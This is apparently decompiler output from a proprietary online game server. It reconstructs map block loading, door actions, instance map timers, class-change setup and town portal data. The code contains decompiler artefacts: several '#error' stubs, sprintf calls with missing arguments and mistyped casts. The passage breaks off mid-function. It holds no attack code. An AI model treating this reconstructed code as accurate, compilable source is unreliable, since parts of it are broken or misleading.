fread(v4->mbi_AttackBlockBuffer, 1u, buffer * v39, v8); fp = (_iobuf *)(v11 == buffer * v39); if ( v11 != buffer * v39 ) { AssertClass::ac_AssertFail(&shineassert, "MapBlockInformation::mbi_Load : Error in read Block information", 0); ShineExit("MapBlock::MapBlockInformation::mbi_Load - shab"); } fclose(v8); } v12 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v12; v13 = (char *)&namestring + 256 * v12; *(_QWORD *)v13 = *(_QWORD *)&mapid->n3_name[0]; *((_DWORD *)v13 + 2) = *(_DWORD *)&mapid->n3_name[8]; v13[12] = 0; sprintf(path, "../9Data/Shine/BlockInfo/%s.shbd"); v14 = fopen(path, "rb"); v15 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v15; v16 = (char *)&namestring + 256 * v15; *(_QWORD *)v16 = *(_QWORD *)&mapid->n3_name[0]; *((_DWORD *)v16 + 2) = *(_DWORD *)&mapid->n3_name[8]; fp = (_iobuf *)v14; v16[12] = 0; if ( v14 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "MapBlockInformation::mbi_Load : Map block information not found", v16); ShineExit("MapBlock::MapBlockInformation::mbi_Load"); } v17 = fread(&x, 4u, 1u, (_iobuf *)v14); v40 = v17 == 1; if ( v17 != 1 ) { AssertClass::ac_AssertFail(&shineassert, "MapBlockInformation::mbi_Load : Error in read X size", 0); ShineExit("MapBlock::MapBlockInformation::mbi_Load"); } v18 = fread(&y, 4u, 1u, (_iobuf *)v14); v40 = v18 == 1; if ( v18 != 1 ) { AssertClass::ac_AssertFail(&shineassert, "MapBlockInformation::mbi_Load : Error in read Y size", 0); ShineExit("MapBlock::MapBlockInformation::mbi_Load"); } v19 = operator new__(x * y); v4->mbi_MoveBlockBuffer = (char *)v19; if ( v19 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "MapBlockInformation::mbi_Load : Error in alloc mamory", 0); ShineExit("MapBlock::MapBlockInformation::mbi_Load"); } v20 = fread(v4->mbi_MoveBlockBuffer, 1u, x * y, (_iobuf *)v14); v21 = x; v40 = v20 == x * y; if ( v20 != x * y ) { AssertClass::ac_AssertFail(&shineassert, "MapBlockInformation::mbi_Load : Error in read Block information", 0); ShineExit("MapBlock::MapBlockInformation::mbi_Load"); } v22 = y; v4->mbi_blockxsize = 8 * x; v4->mbi_blockysize = v22; v23 = 5000 * v21 / 0x64u; v4->mbi_mapxsize = v23; v4->mbi_xbyte = v21; *xsize = v23; v24 = y; v25 = 625 * v4->mbi_blockysize / 0x64; v4->mbi_mapysize = v25; *ysize = v25; v26 = fp; v4->mbi_uiRealOneSideDataSize = v21; v4->mbi_uiOneSideBlockCnt = v24; fclose(v26); if ( v4->mbi_AttackBlockBuffer ) { v27 = 0; if ( x * y ) { do { v4->mbi_MoveBlockBuffer[v27] |= v4->mbi_AttackBlockBuffer[v27]; ++v27; } while ( v27 < x * y ); } } v28 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v28; v29 = (char *)&namestring + 256 * v28; *(_QWORD *)v29 = *(_QWORD *)&mapid->n3_name[0]; *((_DWORD *)v29 + 2) = *(_DWORD *)&mapid->n3_name[8]; v29[12] = 0; v30 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v30; v31 = (char *)&namestring + 256 * v30; *(_QWORD *)v31 = *(_QWORD *)&mapid->n3_name[0]; *((_DWORD *)v31 + 2) = *(_DWORD *)&mapid->n3_name[8]; v31[12] = 0; sprintf(path, "../9Data/Shine/BlockInfo/%s.aid"); AreaInfoData::Load(&v4->mbi_AreaData, path); v32 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v32; v33 = (char *)&namestring + 256 * v32; *(_QWORD *)v33 = *(_QWORD *)&mapid->n3_name[0]; *((_DWORD *)v33 + 2) = *(_DWORD *)&mapid->n3_name[8]; v33[12] = 0; MapBlock::MapDoorArray::mda_Load(&v4->mbi_DoorBlockInform, v33); v34 = BlockDistribute::BlockDistributeManager::bdm_Find( &blockdistmanager, mapid, v4, v4->mbi_mapysize, 0, 0, v4->mbi_mapxsize); v4->mbi_BlockDistribute = v34; if ( v34 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "MapBlock::MapBlockInformation::mbi_Load : BlockDist fail", 0); ShineExit("MapBlock::MapBlockInformation::mbi_Load"); } --funcallanalizer.fca_stackpoint; v44 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MapBlock::MapBlockInformation::mbi_Load"); __security_check_cookie(v43); } //----- (00474F10) -------------------------------------------------------- void __thiscall MapBlock::MapBlockInformationBox::MapBlockInformationBox(MapBlock::MapBlockInformationBox *this) { MapBlock::MapBlockInformationBox *v1; // esi@1 v1 = this; _eh_vector_constructor_iterator_( this, 0xB50u, 256, (void (__thiscall *)(void *))MapBlock::MapBlockInformationBox::__unnamed::__unnamed, (void (__thiscall *)(void *))MapBlock::MapBlockInformationBox::__unnamed::___unnamed); v1->mbib_Number = 0; } //----- (00474F40) -------------------------------------------------------- MapBlock::MapBlockInformation *__thiscall MapBlock::MapBlockInformationBox::mbib_Load(MapBlock::MapBlockInformationBox *this, Name3 *servmapid, Name3 *clntmapid, unsigned int *xsize, unsigned int *ysize) { MapBlock::MapBlockInformationBox *v5; // esi@1 unsigned int v6; // edx@1 int v7; // edi@1 char *v8; // eax@2 int v9; // eax@10 char *v10; // eax@10 MapBlock::MapBlockInformation *v11; // ebx@10 int v12; // edi@10 MapBlock::MapBlockInformation *result; // eax@10 int v14; // edi@11 v5 = this; v6 = this->mbib_Number; v7 = 0; if ( (signed int)v6 <= 0 ) { LABEL_7: if ( v6 >= 0x100 ) { AssertClass::ac_AssertFail(&shineassert, "MapBlockInformationBox::mbib_Load : Too many block info", v6); ShineExit("MapBlock::MapBlockInformationBox::mbib_Load"); } v9 = this->mbib_Number; this->mbib_Number = v9 + 1; v10 = (char *)this + 2896 * v9; *(_QWORD *)v10 = *(_QWORD *)&servmapid->n3_name[0]; *((_DWORD *)v10 + 2) = *(_DWORD *)&servmapid->n3_name[8]; v11 = (MapBlock::MapBlockInformation *)(v10 + 20); MapBlock::MapBlockInformation::mbi_Load( (MapBlock::MapBlockInformation *)(v10 + 20), clntmapid, (unsigned int *)v10 + 3, (unsigned int *)v10 + 4); v12 = v7; *xsize = v5->mbib_array[v12].xsize; *ysize = v5->mbib_array[v12].ysize; result = v11; } else { v8 = &this->mbib_array[0].mapid.n3_name[8]; while ( *((_DWORD *)v8 - 2) != *(_DWORD *)&servmapid->n3_name[0] || *((_DWORD *)v8 - 1) != *(_DWORD *)&servmapid->n3_name[4] || *(_DWORD *)v8 != *(_DWORD *)&servmapid->n3_name[8] ) { ++v7; v8 += 2896; if ( v7 >= this->mbib_Number ) goto LABEL_7; } v14 = v7; *xsize = this->mbib_array[v14].xsize; *ysize = this->mbib_array[v14].ysize; result = &this->mbib_array[v14].block; } return result; } //----- (00475040) -------------------------------------------------------- char __thiscall MapBlock::MapDoorBlockElement::mdbe_DoorAction(MapBlock::MapDoorBlockElement *this, MapBlock::MapBlockInformation *blockinform, MapBlock::MapDoorArray *array, Name8 *doorindex, MapBlock::DoorAction da) { MapBlock::MapDoorBlockElement *v5; // esi@1 int v6; // ebx@1 char result; // al@2 char v8; // al@3 char v9; // bl@3 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MapBlock::MapDoorArray::mdbe_DoorAction"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapBlock::MapDoorArray::mdbe_DoorAction"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v6 = funcallanalizer.fca_stackpoint++ + 1; if ( Name8::operator__(doorindex, &v5->mdbe_BlockName) ) { funcallanalizer.fca_stackpoint = v6 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MapBlock::MapDoorArray::mdbe_DoorAction"); result = 0; } else { v8 = MapBlock::MapDoorBlockElement::mdbe_DoorAction(v5, blockinform, array, da); --funcallanalizer.fca_stackpoint; v9 = v8; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MapBlock::MapDoorArray::mdbe_DoorAction"); result = v9; } return result; } //----- (00475140) -------------------------------------------------------- char __thiscall MapBlock::MapDoorArray::mda_DoorAction(MapBlock::MapDoorArray *this, MapBlock::MapBlockInformation *blockinform, Name8 *doorindex, MapBlock::DoorAction da) { MapBlock::MapDoorArray *v4; // esi@1 unsigned int v5; // ebx@1 MapBlock::MapDoorBlockElement *v6; // edi@2 char result; // al@5 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MapBlock::MapDoorArray::mda_DoorAction"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapBlock::MapDoorArray::mda_DoorAction"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = 0; if ( v4->mda_TotalHeadCnt ) { v6 = v4->mda_Array; while ( !MapBlock::MapDoorBlockElement::mdbe_DoorAction(v6, blockinform, v4, doorindex, da) ) { ++v5; ++v6; if ( v5 >= v4->mda_TotalHeadCnt ) goto LABEL_5; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MapBlock::MapDoorArray::mda_DoorAction"); result = 1; } else { LABEL_5: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MapBlock::MapDoorArray::mda_DoorAction"); result = 0; } return result; } //----- (00475230) -------------------------------------------------------- char __thiscall MapBlock::MapBlockInformation::mbi_DoorAction(MapBlock::MapBlockInformation *this, Name8 *doorindex, MapBlock::DoorAction da) { MapBlock::MapBlockInformation *v3; // esi@1 char v4; // al@1 char v5; // bl@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MapBlock::MapBlockInformation::mbi_DoorAction"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapBlock::MapBlockInformation::mbi_DoorAction"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = MapBlock::MapDoorArray::mda_DoorAction(&v3->mbi_DoorBlockInform, v3, doorindex, da); --funcallanalizer.fca_stackpoint; v5 = v4; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MapBlock::MapBlockInformation::mbi_DoorAction"); return v5; } //----- (004752E0) -------------------------------------------------------- void __thiscall MapClusterManager::MapCluster::InstanceMap::InstanceMap(MapClusterManager::MapCluster::InstanceMap *this) { MapClusterManager::MapCluster::InstanceMap *v1; // esi@1 v1 = this; Metronome::Metronome(&this->TimeToDestroy); Metronome::Metronome(&v1->EmptytoMsgDelay); Metronome::Metronome(&v1->LimitExpirationTime); Metronome::Metronome(&v1->FailDelayTime); Metronome::Metronome(&v1->LimitExpirationTimeWarningLevel_1); Metronome::Metronome(&v1->LimitExpirationTimeWarningLevel_2); } //----- (00475360) -------------------------------------------------------- void __thiscall MapClusterManager::MapCluster::InstanceMap::_InstanceMap(MapClusterManager::MapCluster::InstanceMap *this) { MapClusterManager::MapCluster::InstanceMap *v1; // esi@1 v1 = this; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&this->LimitExpirationTimeWarningLevel_2); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->LimitExpirationTimeWarningLevel_1); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->FailDelayTime); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->LimitExpirationTime); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->EmptytoMsgDelay); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->TimeToDestroy); } //----- (004753F0) -------------------------------------------------------- void __thiscall MapClusterManager::MapCluster::_MapCluster(MapClusterManager::MapCluster *this) { _eh_vector_destructor_iterator_( this->mc_Map, 0x48u, 512, (void (__thiscall *)(void *))MapClusterManager::MapCluster::InstanceMap::_InstanceMap); } //----- (00475410) -------------------------------------------------------- #error "475410: undefined or illegal type '#585' (funcsize=69)" //----- (00475510) -------------------------------------------------------- #error "475510: undefined or illegal type '#585' (funcsize=111)" //----- (004756A0) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)List::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 5B72A4: using guessed type int (__stdcall *List_MapClusterManager__MapCluster____vftable_[3])(__int16 hnd); //----- (004756C0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x94u, 0x2Au) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00475770) -------------------------------------------------------- void __thiscall MapClusterManager::ClusterManager::cm_Init(MapClusterManager::ClusterManager *this) { MapClusterManager::ClusterManager *v1; // esi@1 int v2; // eax@1 int v3; // eax@4 ListStruct *v4; // eax@5 int v5; // eax@11 char v6; // al@14 ListStruct *v7; // eax@15 int v8; // eax@21 char v9; // al@24 ListStruct *v10; // eax@25 int v11; // eax@31 char v12; // al@34 ListStruct *v13; // eax@35 v1 = this; v2 = this->baseclass_0.l_Finger.empty; if ( (_WORD)v2 != -1 ) ((void (__stdcall *)(int))this->baseclass_0.vfptr->l_AllocZ)(v2); if ( v1->baseclass_0.l_MaxSize ) { v4 = v1->baseclass_0.l_Array; if ( v4->ls_Content ) { LOBYTE(v3) = 0; } else { *(_DWORD *)v3 = (char *)v1 + 24; LOBYTE(v3) = 1; } } else { LOBYTE(v3) = 0; } v3 = (unsigned __int8)v3; if ( !(_BYTE)v3 ) { AssertClass::ac_AssertFail(&shineassert, "MapClusterManager::ClusterManager::cm_Init : Init error", v3); ShineExit("MapClusterManager::ClusterManager::cm_Init"); } v5 = v1->baseclass_0.l_Finger.empty; if ( (_WORD)v5 != -1 ) v1->baseclass_0.vfptr->l_AllocZ((List *)v1, v5); if ( v1->baseclass_0.l_MaxSize > 1u ) { v7 = v1->baseclass_0.l_Array; if ( v7[1].ls_Content ) { v6 = 0; } else { v7[1].ls_Content = &v1->cm_ClassChangeRou; v6 = 1; } } else { v6 = 0; } if ( !v6 ) { AssertClass::ac_AssertFail(&shineassert, "MapClusterManager::ClusterManager::cm_Init : Init error", 1); ShineExit("MapClusterManager::ClusterManager::cm_Init"); } v8 = v1->baseclass_0.l_Finger.empty; if ( (_WORD)v8 != -1 ) v1->baseclass_0.vfptr->l_AllocZ((List *)v1, v8); if ( v1->baseclass_0.l_MaxSize > 2u ) { v10 = v1->baseclass_0.l_Array; if ( v10[2].ls_Content ) { v9 = 0; } else { v10[2].ls_Content = &v1->cm_ClassChangeGamble; v9 = 1; } } else { v9 = 0; } if ( !v9 ) { AssertClass::ac_AssertFail(&shineassert, "MapClusterManager::ClusterManager::cm_Init : Init error", 2); ShineExit("MapClusterManager::ClusterManager::cm_Init"); } v11 = v1->baseclass_0.l_Finger.empty; if ( (_WORD)v11 != -1 ) v1->baseclass_0.vfptr->l_AllocZ((List *)v1, v11); if ( v1->baseclass_0.l_MaxSize > 3u ) { v13 = v1->baseclass_0.l_Array; if ( v13[3].ls_Content ) { v12 = 0; } else { v13[3].ls_Content = &v1->cm_ClassChangeElfForest; v12 = 1; } } else { v12 = 0; } if ( !v12 ) { AssertClass::ac_AssertFail(&shineassert, "MapClusterManager::ClusterManager::cm_Init : Init error", 3); ShineExit("MapClusterManager::ClusterManager::cm_Init"); } } //----- (004758E0) -------------------------------------------------------- void __thiscall MapClusterManager::MapCluster::MapCluster(MapClusterManager::MapCluster *this, char *mapindex, INSTANCE_DUNGEON::CATEGORY Category) { MapClusterManager::MapCluster *v3; // esi@1 v3 = this; *(_QWORD *)&this->mc_MapIndex.n3_name[4] = 0i64; *(_DWORD *)&this->mc_MapIndex.n3_name[0] = 0; _eh_vector_constructor_iterator_( this->mc_Map, 0x48u, 512, (void (__thiscall *)(void *))MapClusterManager::MapCluster::InstanceMap::InstanceMap, (void (__thiscall *)(void *))MapClusterManager::MapCluster::InstanceMap::_InstanceMap); *(_DWORD *)&v3->mc_MapIndex.n3_name[8] = 0; *(_DWORD *)&v3->mc_MapIndex.n3_name[4] = 0; *(_DWORD *)&v3->mc_MapIndex.n3_name[0] = 0; strncpy(v3->mc_MapIndex.n3_name, mapindex, 0xCu); v3->mc_MapNumber = 0; v3->mc_Pointer = 0; v3->mc_Category = Category; } //----- (00475940) -------------------------------------------------------- #error "475940: undefined or illegal type '#585' (funcsize=61)" //----- (00475A50) -------------------------------------------------------- int __thiscall MapClusterManager::MapCluster::mc_CompName(MapClusterManager::MapCluster *this, List *lst, unsigned __int16 hnd, MapClusterManager::MapCluster *key) { MapClusterManager::MapCluster *v4; // esi@1 bool v5; // cf@1 int v6; // esi@2 unsigned int v7; // eax@3 unsigned int v8; // ecx@3 unsigned int v9; // edx@4 unsigned int v10; // esi@4 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MapClusterManager::MapCluster::mc_CompName"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapClusterManager::MapCluster::mc_CompName"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = *(_DWORD *)&v4->mc_MapIndex.n3_name[0] < *(_DWORD *)&key->mc_MapIndex.n3_name[0]; if ( *(_DWORD *)&v4->mc_MapIndex.n3_name[0] != *(_DWORD *)&key->mc_MapIndex.n3_name[0] || (v7 = *(_DWORD *)&key->mc_MapIndex.n3_name[4], v8 = *(_DWORD *)&v4->mc_MapIndex.n3_name[4], v5 = v8 < v7, v8 != v7) ) { v6 = v5 ? 1 : -1; } else { v9 = *(_DWORD *)&key->mc_MapIndex.n3_name[8]; v10 = *(_DWORD *)&v4->mc_MapIndex.n3_name[8]; if ( v9 <= v10 ) v6 = -(v9 < v10); else v6 = 1; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MapClusterManager::MapCluster::mc_CompName"); return v6; } //----- (00475AE0) -------------------------------------------------------- bool __thiscall MapClusterManager::MapCluster::mc_GetLimitTime(MapClusterManager::MapCluster *this, unsigned int *rLimitTime, unsigned int RegisterNumber) { MapClusterManager::MapCluster *v3; // esi@1 unsigned int v4; // ecx@1 int v5; // edi@2 int v6; // eax@5 int v8; // eax@9 char *v9; // [sp-14h] [bp-24h]@7 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MapClusterNamager::MapCluster::mc_GetLimitTime"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapClusterNamager::MapCluster::mc_GetLimitTime"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; if ( !LOWORD(v3->mc_MapNumber) ) { LABEL_7: v9 = "MapClusterNamager::MapCluster::mc_GetLimitTime"; LABEL_8: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v9); return 0; } v5 = v3->mc_MapNumber; while ( 1 ) { if ( v3->mc_Pointer >= v5 ) v3->mc_Pointer = 0; v6 = v3->mc_Pointer; if ( v3->mc_Map[v6].RegisterNumber == RegisterNumber ) break; v3->mc_Pointer = v6 + 1; ++v4; if ( v4 >= LOWORD(v3->mc_MapNumber) ) goto LABEL_7; } v8 = (int)((char *)v3 + 72 * v3->mc_Pointer); v9 = "MapClusterNamager::MapCluster::mc_GetLimitTime"; if ( !*(_BYTE *)(v8 + 40) ) goto LABEL_8; *rLimitTime = *(_DWORD *)(v8 + 44) - clockwatch.cw_CurrTick; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MapClusterNamager::MapCluster::mc_GetLimitTime"); return 1; } //----- (00475C00) -------------------------------------------------------- char __thiscall MapClusterManager::MapCluster::mc_SetLimitItem(MapClusterManager::MapCluster *this, unsigned int unMiunteTime, unsigned int RegisterNumber) { MapClusterManager::MapCluster *v3; // esi@1 unsigned int v4; // edx@1 int v5; // ebx@2 int v6; // eax@5 char result; // al@8 unsigned int v8; // edi@9 int v9; // ecx@9 unsigned int v10; // edx@9 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MapClusterNamager::MapCluster::mc_SetLimitItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapClusterNamager::MapCluster::mc_SetLimitItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; if ( LOWORD(v3->mc_MapNumber) ) { v5 = v3->mc_MapNumber; while ( 1 ) { if ( v3->mc_Pointer >= v5 ) v3->mc_Pointer = 0; v6 = v3->mc_Pointer; if ( v3->mc_Map[v6].RegisterNumber == RegisterNumber ) { if ( v3->mc_Map[v6].bIsLimitTime ) break; } v3->mc_Pointer = v6 + 1; ++v4; if ( v4 >= LOWORD(v3->mc_MapNumber) ) goto LABEL_8; } v8 = clockwatch.cw_CurrTick; v9 = (int)&v3->mc_Map[v3->mc_Pointer].LimitExpirationTime; v10 = 600000 * unMiunteTime / 0x3E8; v3->mc_Map[v3->mc_Pointer].LimitExpirationTime.m_TickInterval = v10; *(_DWORD *)v9 = v8 + v10; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MapClusterNamager::MapCluster::mc_SetLimitItem"); result = 1; } else { LABEL_8: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MapClusterNamager::MapCluster::mc_SetLimitItem"); result = 0; } return result; } //----- (00475D40) -------------------------------------------------------- #error "475D40: undefined or illegal type '#585' (funcsize=128)" //----- (00475F40) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_FirstJobChange(void *this) { void *v1; // esi@1 int v2; // edi@1 int v3; // ST10_4@1 char *v4; // edi@2 ZoneBaseSession *v5; // eax@4 int v6; // eax@5 int v7; // esi@5 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_FirstJobChange"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_FirstJobChange"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_DWORD *)v1 + 1001); v3 = (*(int (**)(void))(**((_DWORD **)v1 + 1001) + 52))(); if ( (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 40))(v2) != v3 ) { v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4182; *((_WORD *)v4 + 1) = *((_WORD *)v1 + 2); *((_DWORD *)v4 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 836))(v1); v4[8] = (*(int (**)(void))(**((_DWORD **)v1 + 1001) + 52))(); v4[9] = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1220))(v1); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v5 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v5); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_FirstJobChange : Packet Too Long", 10); } } v6 = (*(int (**)(void))(**((_DWORD **)v1 + 1001) + 52))(); --funcallanalizer.fca_stackpoint; v7 = v6; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_FirstJobChange"); return v7; } //----- (00476080) -------------------------------------------------------- void __thiscall TownPortalData::TownPortalData(TownPortalData *this) { TownPortalData *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->tpd_Data.baseclass_0); memset(&v1->tpd_Data.bdb_defaultblock, 0, 0x28u); HIWORD(v1->tpd_Data.bdb_defaultblock.Y) = 0; } //----- (004760A0) -------------------------------------------------------- void __thiscall TownPortalData::tpd_Load(TownPortalData *this) { TownPortalData *v1; // esi@1 unsigned int v2; // ebx@1 CDataReader::HEAD *v3; // edx@1 int v4; // eax@1 int v5; // ecx@4 unsigned int v6; // ebp@4 void *v7; // edi@11 void *v8; // ebx@14 void *v9; // ebp@17 int v10; // edi@19 int m; // [sp+0h] [bp-24h]@4 int k; // [sp+4h] [bp-20h]@1 int *v13; // [sp+8h] [bp-1Ch]@8 int number; // [sp+Ch] [bp-18h]@1 int v15; // [sp+10h] [bp-14h]@4 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "TownPortalData::tpd_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TownPortalData::tpd_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = 0; BinaryDataBox::bdb_ReadData(&v1->tpd_Data, "../9Data/Shine/TownPortal.shn"); v3 = v1->tpd_Data.baseclass_0.baseclass_0.m_pHead; v4 = v3->nNumOfRecord; number = v3->nNumOfRecord; k = 0; if ( v4 - 1 > 0 ) { while ( 1 ) { v5 = v2 + 1; v6 = v2 + 1; v15 = v2 + 1; m = v2 + 1; if ( (signed int)(v2 + 1) < v4 ) { while ( 1 ) { v13 = (int *)(v6 < v1->tpd_Data.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v1->tpd_Data.baseclass_0.baseclass_0, v6) : &v1->tpd_Data.bdb_defaultblock); v7 = v2 < v1->tpd_Data.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v1->tpd_Data.baseclass_0.baseclass_0, v2) : &v1->tpd_Data.bdb_defaultblock; v8 = v2 < v1->tpd_Data.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v1->tpd_Data.baseclass_0.baseclass_0, v2) : &v1->tpd_Data.bdb_defaultblock; v9 = v6 < v1->tpd_Data.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v1->tpd_Data.baseclass_0.baseclass_0, v6) : &v1->tpd_Data.bdb_defaultblock; v10 = *(_BYTE *)v7; if ( *(_BYTE *)v8 == *(_BYTE *)v9 ) { AssertClass::ac_AssertFail(&shineassert, "TownPortalData::tpd_Load : duplicate index", v10, *(_BYTE *)v13); ShineExit("TownPortalData::tpd_Load"); } ++m; if ( m >= number ) break; v2 = k; v6 = m; } v4 = number; v5 = v15; } k = v5; if ( v5 >= v4 - 1 ) break; v2 = v5; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TownPortalData::tpd_Load"); } //----- (00476240) -------------------------------------------------------- TownPortal *__thiscall TownPortalData::operator__(TownPortalData *this, char index) { TownPortalData *v2; // esi@1 unsigned int v3; // ebp@1 unsigned int v4; // edi@1 void *v5; // eax@3 TownPortal *result; // eax@7 void *v7; // esi@9 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "TownPortalData::operator []"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TownPortalData::operator []"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->tpd_Data.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v4 = 0; if ( (signed int)v3 <= 0 ) { LABEL_7: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TownPortalData::operator []"); result = 0; } else { while ( 1 ) { v5 = v4 < v2->tpd_Data.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v2->tpd_Data.baseclass_0.baseclass_0, v4) : &v2->tpd_Data.bdb_defaultblock; if ( *(_BYTE *)v5 == index ) break; ++v4; if ( (signed int)v4 >= (signed int)v3 ) goto LABEL_7; } if ( v4 < v2->tpd_Data.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v7 = CDataReader::GetRecord(&v2->tpd_Data.baseclass_0.baseclass_0, v4); else v7 = &v2->tpd_Data.bdb_defaultblock; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TownPortalData::operator []"); result = (TownPortal *)v7; } return result; } //----- (00476350) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MAP_TOWNPORTAL_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 TownPortal *v5; // edi@5 int v6; // edx@9 char *v7; // [sp-8h] [bp-3Ch]@4 SHINE_XY_TYPE coord; // [sp+Ch] [bp-28h]@9 FunctionEntarance _; // [sp+14h] [bp-20h]@1 Name3 mapname; // [sp+18h] [bp-1Ch]@9 unsigned int v11; // [sp+24h] [bp-10h]@11 int v12; // [sp+30h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_MAP_TOWNPORTAL_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( 